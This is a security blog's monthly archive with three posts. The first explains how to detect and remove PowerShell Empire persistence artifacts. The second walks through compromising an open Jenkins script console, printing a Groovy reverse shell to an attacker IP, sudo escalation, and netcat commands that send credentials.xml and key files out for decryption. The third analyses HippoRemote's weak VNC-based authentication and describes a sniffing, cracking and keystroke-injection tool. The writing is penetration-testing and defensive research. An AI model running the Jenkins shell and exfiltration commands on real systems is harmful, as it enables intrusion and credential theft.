Monthly archives: January, 2017

Removing Backdoors – Powershell Empire Edition










I’m a big fan of Powershell Empire for penetration testing.   If you haven’t heard of it, it is a post-exploitation framework which uses powershell agents to run post-exploitation scripts on a target system.  This blog post is meant to address a small subset of the modules, in particular the persistence modules.

The purpose of persistence modules are so that you could keep access to the compromised host.  Some methods are able to persist through reboots, which can persist much longer than memory only methods.  The negative for attackers however is that in order to persist through a reboot some data must be written to disk. This leaves artifacts that defenders can find or security tools can detect.

I’ve created a simple tool to identify Powershell Empire persistence artifacts. It is called NorkNork, and it is available on my Github.  It currently searches for these methods:

In this post we will go through each finding and explain how to disable it.


I will start with the userland persistence methods.  These methods can be executed on a target without administrative access.

Running NorkNork we get three important pieces of output.

NorkNork found a malicious scheduled task and provides information on the name and the command that is ran.  We can see that it is named “Updater” and it contains a command to execute a powershell command. We can verify this by running

schtasks /query /V

on the command line or or by opening up the Task Scheduler.  Using the GUI is likely the easiest way to remove this, so all you need to do is select the task and click the “Delete” button on the right-hand pane or by right clicking and selecting “delete”.

The next finding is evidence of run keys in the Windows registry.  If you are not familiar with these, a more detailed description is here.

Since this is an unprivileged key, we can find it at: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

To remove it, open regedit and drill down to the path where the run key is stored.

Right click on the key and click “Delete”.   You may have noticed the command in the powershell script and realized what it does. As you can see, it executes a command in powershell that is stored in a variable named “x”. The value of “x” is stored within a registry key.  The command gives us the location of the registry key.  NorkNork will automatically enumerate the default key location and decode to content of the payload as seen below.

This information has value to defenders as it exposes the IP of the Empire server. It also shows the user-agent of the stager.  Defenders can use this information to identify other agents throughout their network.  To remove the payload delete it in the same way you did the run key.


The elevated modules assume that the attacker has obtained administrative privileges. Much like the userland version, run keys can be used to automatically start an Empire stager.  The difference is instead of storing the key under HKEY_CURRENT_USER, it is stored under HKEY_LOCAL_MACHINE.

You will also notice that the payload is stored under HKEY_LOCAL_MACHINE as well.  You can remove both of them using the same method as the userland version.

The scheduled task can also run with administrative permissions, and removal is the same as before.

The most troubling method is via WMI subscriptions.

This technique is newer than the others, and difficult to remove and detect.  For a detailed explanation of what WMI subscriptions are, I recommend reading this post.

To manually verify the results of NorkNork, you can run:

powershell Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

in powershell.  Scrolling through the data, one event should stick out from the rest as it contains a very large blob of base64 data.  If you base64 decode it, you should see the same data that we saw before for the stager.  The important thing to isolate is the name.  In the case of this example, it is “evil”.

When the WMI subscription is created, a couple things are created.  Reviewing the source code of this module tells that a WMI Event Filter, an Event Consumer, and a binding are created.  We need to remove all three.

To remove the binding, run the below command substituting ‘evil’ for whatever the subscription is named.

Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'evil'} | Remove-WmiObject;

To remove the Event Consumer run:

Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -Filter "name='evil'" | Remove-WmiObject

Lastly you need to remove the Event Filter, and if you want to actually confirm that this is working you can use the -Verbose switch.

Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='evil'" | Remove-WmiObject -Verbose


This next section is going to cover the debugger methods. From the Powershell Empire documentation, “The persistence/debugger/* modules allow you to set the “Image File Execution Options” (aka the debugger) for various executables that are accessible pre-login on the RDP prompt. By default the debugger is set to cmd.exe, which allows you to trigger a command prompt running as SYSTEM through RDP, without having to actually log into the machine.”

Here is a screenshot of NorkNork enumerating these:

This probably looks familiar to you by now, and as you can see the payload is stored in different registry key than the others.  We can remove it using the same methods as described above.

The debugger command is stored in a registry key.   It is stored in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\[BINARY NAME]

The possible locations Empire supports are sethc.exe, Utilman.exe, Magnify.exe, Narrator.exe, and osk.exe.  Since these normally do not have a debugger the presence of one may be an indication of compromise.  To remove these delete them out of the registry.

Lastly there are a few oddball methods I’ve included as well.


When an attacker has compromised a system, they can use tools such as mimikatz to dump all of the passwords on the system.  One of those passwords is the machine password.  By default, this password periodically changes. There are not many legitimate reasons to turn this feature off.  If it is turned off, it may be an indication of compromise.  To turn it back on, got to KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Netlogon\Parameters\DisabledPasswordChange and set the vlaue to “0”.

The last module detects rouge Security Support Providers. As described here, “After a user logs on, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service, LSASS, process in memory. This is meant to facilitate single sign-on (SSO) ensuring a user isn’t prompted each time resource access is requested.” Powershell Empire has a module to both load a mimikatz module to log all passwords and a module to load any SSP of the attackers choice.

NorkNork enumerates all SSPs against a white-list and lists any items not on the white list. If a rouge SSP is detected, you can find it under KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa as the “Security Packages” key.  Look for the name and find the associated SSP under System32 on the system.

Compromising Jenkins and extracting credentials




Jenkins is an open-source continuous integration software tool written in the Java programming language.  While useful to developers, it can also be useful to attackers.  Often times developers will leave Jenkins consoles in an insecure state, especially within development environments.  Jenkins has a scripting console available which can be used to run arbitrary Groovy code.

Below is an example of a console.  Typically found under Manage Jenkins -> Script Console or just by going to /script from the root of the Jenkins install path.

As you can see, there is also a credentials tab.  It is common for developers to store credentials within Jenkins.  While these passwords are not accessable to view from within the web console, they can be extracted from the system itself.

To create a reverse shell on the system, we need to use Groovy script. Since it is basically Java, we can use a Java reverse shell from pentestmonkey.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[attacker IP]/[port];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

On our attacker system, we can use netcat to catch the shell:

root@attacker:~# nc -lvp 9000
listening on [any] 9000 ...

Once we catch the shell, we can enumerate the account, and upgrade our raw netcat shell to a pseudo terminal.

/bin/bash -i
jenkins@victim:/$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

Often times Jenkins is given sudo permissions with no password, so we can easily escalate to a root shell if we need to.

jenkins@victim:/$ sudo -i
sudo -i

Once we have that, we need to locate the Jenkins install.  In this case, it was found under /opt/jenkins.  View the contents of the directory and you will see a credentials.xml file and a /secrets/ directory.

root@victim:/opt/jenkins # ls


The encrypted passwords are stored in credentials.xml.  We will need this file as well as some of the keys to be able to decrypt it.   One of the ways we can ex-filtrate these files is via netcat.  Out our victim we will do the following, one at a time:

root@victim:/opt/jenkins # nc -w3 [attacker IP] 5000 < credentials.xml
root@victim:/opt/jenkins/secrets # nc -w3 [attacker IP] 5000 < master.key
root@victim:/opt/jenkins/secrets # nc -w3 [attacker IP] 5000 < hudson.util.Secret

And on the attacking machine, we catch each file individually.

root@attacker:~# nc -l -p 5000 > credentials.xml

root@attacker:~# nc -l -p 5000 > master.key

root@attacker:~# nc -l -p 5000 > hudson.util.Secret

One we have the files we need we can use a python script to decrypt the passwords within credentials.xml.

root@attacker:~/jenkins-decrypt# python master.key hudson.util.Secret credentials.xml

We now have root access on the server and credentials to be able to move laterally.

Using Shodan I was able to find hundreds of administrative consoles open to the internet without authentication, which goes to show that this misconfiguration is widespread.

Control your Mac with an iPhone app – An analysis of HippoRemote








Applications that are in use on Macs often times are under less scrutiny for security compared to their Windows alternatives.  When researching popular apps in use on OS X I found an app on the iPhone called HippoRemote.  It appears to be quite popular, with a combined 7,558 reviews on the iTunes store for both the LITE and Pro versions.  It has also been featured heavily on tech blogs such as Mashable, Lifehacker, Cult of Mac, Macworld, and many more.  What this software does is that it allows you to use your phone as a wireless trackpad and keyboard.  A cursory review of their website will show you that this is actually cross-platform, it is available for Mac, Windows, and Linux.  The Pro edition boasts various features such as a Login Manager that allows you to “Securely store your passwords and sign into websites with a single tap.”

Before going into the Mac version, I’m going to spend some time on the Windows version.  The software was downloaded from the website and the 7-zip self extracting archive utility was ran. The extracted application is called “HippoVNC” and by checking the about menu you can see that HippoVNC is forked off of UltraVNC.  For those of you who have been doing security a while, you may already be aware of some of the security concerns with VNC.  This first half of the article addresses those.

VNC typically will store the VNC password in either the registry or an .ini configuration file.  Since HippoVNC is based off of UltraVNC, it stores it in a config file.  This is important, because the confidentiality of this password is now dependent upon the NTFS permissions on the host.  In some cases this could be fine – however if the HippoVNC software was extracted into an area accessible to other users, the config file could be read by others.  The password in the config file is encrypted – but to little affect.  The password is only encrypted with DES – a weak and deprecated algorithm.  Even with encryption it is effectively plaintext, as the key by which all VNC passwords are encrypted is within the VNC source code.

{23, 82, 107, 6, 35, 78, 88, 7}

The other issues with VNC become more apparent when you analyze the packets on the wire.  Below is a screenshot when performing a “Follow TCP Stream” in Wireshark.

TCP stream of VNC authentication and keyboard commands

The authentication handshake is also using DES.  The keystrokes are visible in ASCII Hex.  Tools like Cain and Abel by and PHoss by, which have been around for quite some time – are able to sniff this handshake and crack it.

One of the tools for abusing the plaintext nature of VNC keystrokes is VNC keylogger by Jon Oberheide.  It allows you to see keystrokes sent in real time given the ability to sniff traffic between the client and server.  Keyboard emulating hardware such as the USB Rubber Ducky by Hak5 and similar products work by injecting keystrokes to perform action such as opening a command shell and executing a payload.  I thought to translate this concept over to VNC to inject keystrokes and spawn a shell. Further research showed that this idea had been explored before.  A metasploit module had been created last year for this very purpose.

Looking into the Linux documentation reveals that it works based off of your existing VNC server that comes with whichever version of Linux you are running.  There is no software available to download. With that said, it’s time to turn our attention to MacOS (OS X).

For OS X  Leopard (10.5) and Tiger (10.4) the instructions say to use Apple’s built in Screen Sharing utility, which is based upon VNC.  Apple Remote Desktop (ARD) is tremendous security improvement over other VNC variants. Version 2, which was released in 2004 encrypted all keyboard and mouse movement.  ARD version 3 encrypts all traffic including desktop graphics and file transfers.

The instructions for Leopard (10.6) and beyond recommend to download and run an app, called “HippoConnect.” It boasts additional features which are unavailable using the screen sharing method.  After downloading and running the application, the user sets a password up to eight characters and the set-up is complete.

I became interested in where the application stored the password as well as how to application would continue to run through reboots. To little surprise, they use the preferred method by Apple which is by using LaunchDeamons and LaunchAgents.  The information is stored in a .plist file, which is similar to XML.

HippoConnect .plist file contents

There are a couple alarming things here:

  • The password is stored in plain text as a program argument
  • The .plist file is word-readable
  • The program is executed with root privileges

The security implications are that if this was a multi-user system, any unprivileged account can find the password to remotely control the screen of any user, as the HippoConnectAgent is running on boot.  Any exploit of the HippoConnectAgent listener could result in gaining root privileges remotely.

Wireshark was used to evaluate how the HippoConnect protocol worked.  As it turns out, it was quite similar to VNC.

TCP Stream of HippoConnect

As you can see from the screenshot, It authenticates using VNC authentication by passing a value to be encrypted by the secret DES key.  The encrypted value is returned as the response.  Seeing this, I wanted to replicate the the attacks available against the VNC protocol for HippoConnect.

The first hiccup I ran into was trying to get the challenge to encrypt properly.  No matter how many times I tired encrypting the challenge with the key, I never got the proper response.  I looked at the RFC for The Remote Framebuffer Protocol (RFB) which states:

The client encrypts the challenge with DES, using a password supplied
   by the user as the key.  To form the key, the password is truncated
   to eight characters, or padded with null bytes on the right.  The
   client then sends the resulting 16-byte response.

As it were, this doesn’t tell the whole picture.  After some more research I stumbled across this post, which details the the missing information:

The actual software encrypts the challenge with all the bit fields 
in each byte of the password mirrored.

With this knowledge,  the VNC authentication handshake could now be replicated.

I wrote a python script, which I have dubbed “AngryHippo” which can be used for exploiting these security issues.

Here is a quick video of the sniffer module in use.  As you can see, the challenge and response values are printed to the screen, along with the status of the current keypress.

Sniffing Demo

Watch in HD

When you sniff the handshake, you can pass it to the cracking module to recover the plaintext key.  When running against the rockyou.txt wordlist, which has about 14 million words, I was able to exhaust the list in 5 minutes on my MacBook Pro.  If you require a complete brute force of the entire 8 character keyspace, I would suggest using one of the VNC crackers written in another programming language.  Below is a simple demonstration of the cracking module using a small wordlist.

Cracking Demo

Watch in HD

Lastly, I created a module for keystroke injection.  Currently the payload used is a simple bash reverse shell, in which you provide your listener’s IP and port for the reverse shell connection.  An option is available to control the speed of the commands.  This will likely be limited by the speed of the computer you are attacking.  Using a MacBook Pro as the target, The speed was set to one millisecond per keystroke. I was able to inject keystrokes to spawn a reverse shell in a fraction of a second.

Injection Demo (Fast)

Watch in HD

In case that demonstration moved too quickly, here is a slowed down version injecting at a tenth of a second per keystroke:

Injection Demo (Slow)

Watch in HD

If you are curious to see if anyone is running the HippoConnect agent on your network, it is broadcasted over multicast DNS via Bonjour, Apple’s zero-configuration protocol.  It listens on port 41660.

Bonjour Browser and Wireshark

AngryHippo can be downloaded at: